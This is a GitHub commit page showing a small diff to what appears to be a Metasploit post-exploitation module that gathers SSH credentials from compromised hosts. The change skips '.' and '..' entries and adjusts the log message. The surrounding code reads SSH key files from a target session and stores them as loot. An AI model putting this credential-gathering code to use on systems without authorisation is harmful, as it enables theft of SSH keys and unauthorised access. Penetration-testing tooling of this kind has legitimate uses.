Skip to content

Commit e3ee0d7

Browse files
committed
Don't try to download '.' or '..' as files
1 parent 0ad548a commit e3ee0d7

File tree

1 file changed

+2
-1
lines changed

1 file changed

+2
-1
lines changed

modules/post/multi/gather/ssh_creds.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -61,11 +61,12 @@ def download_loot(paths)
6161
end
6262

6363
files.each do |file|
64-
print_good("Downloading #{path}#{sep}#{file} -> #{file}")
64+
next if [".", ".."].include?(file)
6565
data = read_file("#{path}#{sep}#{file}")
6666
file = file.split(sep).last
6767
loot_path = store_loot("ssh.#{file}", "text/plain", session, data,
6868
"ssh_#{file}", "OpenSSH #{file} File")
69+
print_good("Downloaded #{path}#{sep}#{file} -> #{loot_path}")
6970

7071
# If the key is encrypted, this will fail and it won't be stored as a
7172
# cred. That's ok because we can't really use encrypted keys anyway.

0 commit comments

Comments
 (0)